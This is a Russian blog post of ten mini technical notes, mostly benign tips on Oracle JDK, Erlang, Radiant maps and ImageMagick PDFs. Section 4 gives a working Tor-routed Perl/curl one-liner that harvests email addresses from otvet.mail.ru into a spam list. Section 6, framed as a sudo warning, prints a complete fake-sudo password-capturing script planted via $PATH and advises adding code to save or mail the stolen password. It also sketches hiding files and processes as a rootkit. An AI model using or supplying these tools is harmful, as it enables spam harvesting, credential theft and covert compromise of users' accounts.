Categories: Всячина

mini-notes-issue-15/

В этом выпуске: как в Ubuntu установить Oracle JDK, что делать, если в Erlang возникает ошибка emfile, как собрать PDF с помощью ImageMagick, и не только. Предыдущие выпуски мини заметок: четырнадцатый , тринадцатый , двенадцатый , одиннадцатый .

1. Как сделать эффективное разбиение на страницы

Допустим, есть сайт со статьями и ЧПУ вроде /articles/page-5/ . Как получить статьи на заданной странице с помощью простого SELECT-запроса?

Простое и неэффективное решение заключается в использовании запроса вроде select * from articles order by published limit N offset M . Это решение неэффективно, потому что требует сканирования M записей в таблице.

Более эффективный вариант — при создании очередной статьи просто писать в базу ее page_number. Тогда запрос приобретет вид select * from articles where page_number = P order by published . Но возникает маленькая проблема. Спрашивается, что делать при удалении статьи или переносе ее в другой раздел? Очевидно, что пересчитывать page_number всех статей в этом случае будет слишком дорого. А что, если не удалять статьи, а только помечать их удаленными (или перенесенными)? При отображении списка статей на месте, где должна быть статья, будет отображаться сообщение вроде «статья удалена/перенесена пользователем таким-то тогда-то».

При этом пересчитывать page_number статей и вычищать создаваемый при использовании такого подхода «мусор» можно по крону, скажем, раз в неделю или раз в месяц. Алгоритм становится чуточку сложнее, если статьи нужно сортировать в обратном порядке ( order by published desc ), поскольку в select запросе придется запрашивать не одну страницу, а две соседних, но идея остается прежней.

2. Установка Oracle JDK в Ubuntu

Матерые Java-программисты говорят, что OpenJDK — говно. Я не специалист в Java, так что придется поверить им на слово.

Oracle JDK в Ubuntu устанавливается следующим образом:

sudo apt-get remove openjdk *
sudo add-apt-repository ppa:webupd8team / java
sudo apt-get update
sudo apt-get install oracle-java7-installer

Соглашаемся с лицензионным соглашением. После установки говорим:

java -version

Должны увидеть что-то вроде:

java version «1.7.0_40»
Java(TM) SE Runtime Environment (build 1.7.0_40-b43)
Java HotSpot(TM) 64-Bit Server VM (build 24.0-b56, mixed mode)

По аналогичной схеме можно установить Java 8 с лямбдочками или сразу несколько версий Java. Версия по умолчанию выбирается так:

sudo update-java-alternatives -s java- 7 -oracle

Стоит отметить, что многие приложения действительно работают на Oracle JDK заметно быстрее, чем на OpenJDK.

Рецепт был найден на linuxrussia.com .

3. Telnet через SSL

Подцепиться telnet’ом к серверу, использующему SSL, можно так:

openssl s_client -connect light.webmoney.ru: 443

Пригодится при отладке.

4. Собираем спам-базу с помощью otvety.mail.ru

Этому баяну уже, наверное, лет десять, тем не менее.

Устанавливаем Tor , открываем консоль, с помощью Ctr+C и Ctr+V вбиваем:

perl -e ‘while() { $qid = int(rand()*94000000); $t = `curl —socks5 localhost:9050 http://otvet.mail.ru/question/$qid 2>/dev/null`; @m = $t =~ m{«http://status.mail.ru/?([^»]+)»}g; print join(«n», @m).»n»; }’ | tee 0001.txt

Ждем какое-то время, смотрим, сколько ящиков собрали:

cat * .txt | sort -u | grep -v nobody.mail.ru | wc -l

Собирать можно в несколько потоков.

5. Установка и настройка Radiant под Ubuntu Linux

Radiant — это редактор карт для игр серии Quake.

Сначала ставим OpenArena:

sudo aptitude install openarena openarena-data openarena-server

Качаем бинарный пакет Radiant под Linux с официального сайта . Распаковываем. Копируем каталоги из installs/Q3Pack/install/ в /usr/games. Делаем chmod a+rwx -R на скопированные каталоги. Говорим:

ln -s / usr / share / games / openarena / baseoa / usr / games / baseoa

Запускаем radiant.bin, в качестве игры выбираем Quake III Arena, путь к движку — /usr/games.

Карты, скомпилированные в .bsp, должны лежать в /usr/lib/openarena/baseoa/maps. Для их загрузки запустите OpenArena, войдите в консоль (нажав тильду) и выполните команды:

/sv_pure 0
/devmap map_name

Для загрузки той же карты в Nexuiz, положите bsp-файл в ~/.nexuiz/data/maps, создайте там же файл map_name.mapcfg следующего содержания:

changelevel map_name

Запустите Nexuiz, откройте консоль (Shift + Esc) и скажите:

map map_name

Хорошие туториалы по Radiant лежат здесь и тут .

6. Почему нужно быть осторожным с sudo

Если вы sudo’ер и вас поломали, то злобный хакер может поднять права до рута с помощью скрипта вроде такого:

#!/usr/bin/env perl

use strict ;
use warnings ;

my $attempts = 0 ;
my $success = 0 ;
while ( $attempts < 3 ) {
print «[sudo] password for $ENV{USER}: » ;
system ( «/bin/stty -echo» ) ;
my $password = <STDIN> ;
chomp ( $password ) ;
print » n » ;
system ( «/bin/stty echo» ) ;
if ( valid_password ( $password ) ) {
system ( «/usr/bin/sudo @ARGV» ) ;
$success = 1 ;
last ;
} else {
print «Sorry, try again. n » ;
$attempts ++;
}
}

print «sudo: $attempts incorrect password attempts n » unless $success ;

sub valid_password {
my ( $password ) = @_ ;
my $t = `echo -n ‘$password n ‘ | /usr/bin/sudo -S echo VALID 2>&1` ;
return scalar ( $t =~ /VALID/ ) ;
}

Называем sudo, делаем chmod u+x, кладем в какое-нибудь уютное место, например, ~/.hack, после чего прописываем это место в начало $PATH и ждем. Понятно, что в скрипт нужно дописать сохранение пароля в файл или его отправку по почте.

В действительности, с тем же успехом для перехвата паролей можно подменить утилиту su, а также ls и tree для скрытия файлов, ps и top для скрытия процессов и так далее. При желании можно написать полноценный кроссплатформенный user mode руткит, используя один только Perl.

7. Как в Erlang лечить ошибку emfile

Эта ошибка означает, что кто-то наоткрывал файловых дескрипторов и не закрыл их. Попытаться найти виновников можно, например, вбив в remsh такую команду:

lists:sort(fun({_,A},{_,B}) -> length(A) > length(B) end, [{Pid, Ports} || {Pid,Ports} <- [{Pid, [L || L <- element(2,process_info(Pid, links)), is_port(L)]} || Pid <- processes()], length(Ports) > 0]).

Рецепт был найден в рассылке erlang-programming .

8. Использование erl_tidy

Если у вас в команде нет единого мнения относительно того, как нужно оформлять код (сколько пробелов использовать в отступах и так далее), можно поступить следующим образом. Пишите каждый как хочет, а затем прогоняйте код через утилиту erl_tidy:

cd . / src
erl -s erl_tidy dir

Аналогичный инструмент есть почти для любого языка программирования.

9. Как в Linux сделать скриншот сайта

Способ первый:

sudo apt-get install python-qt4 libqt4-webkit python-pip xvfb
wget http: // git.io / xexXPA -O ~ / bin / webkit2png
chmod u+x ~ / bin / webkit2png
sudo xvfb-run —server-args = «-screen 0, 1024x768x24»
/ home / eax / bin / webkit2png -o eaxme.png http: // remontka.com

Способ второй:

sudo apt-get install cutycapt
cutycapt —url =http: // remontka.com —javascript =off —out =eaxme.png

К сожалению, и webkit2png, и cutycapt повисают на больших страницах.

10. Сборка и оптимизация PDF с помощью ImageMagick

Если у вас есть сканы некого документа или книги, вы можете собрать из них PDF:

# преобразуем jpg-сканы в ч/б png
ls * .jpg | parallel -j 2 —eta convert ‘{}’ -colorspace Gray
-resize 640x -type Palette -colors 16 -white-threshold 90 %
-black-threshold 10 % ‘png/{.}.png’

# объединяем полученные png-файлы в pdf:
convert png /* .png -quality 100 -units PixelsPerInch
-density 72 result.pdf

Чтобы PDF получался качественный и при этом сравнительно небольшого размера, каждая страница должна весить 16-18 Кб.

Дополнение: Мини заметки — выпуск 16

admin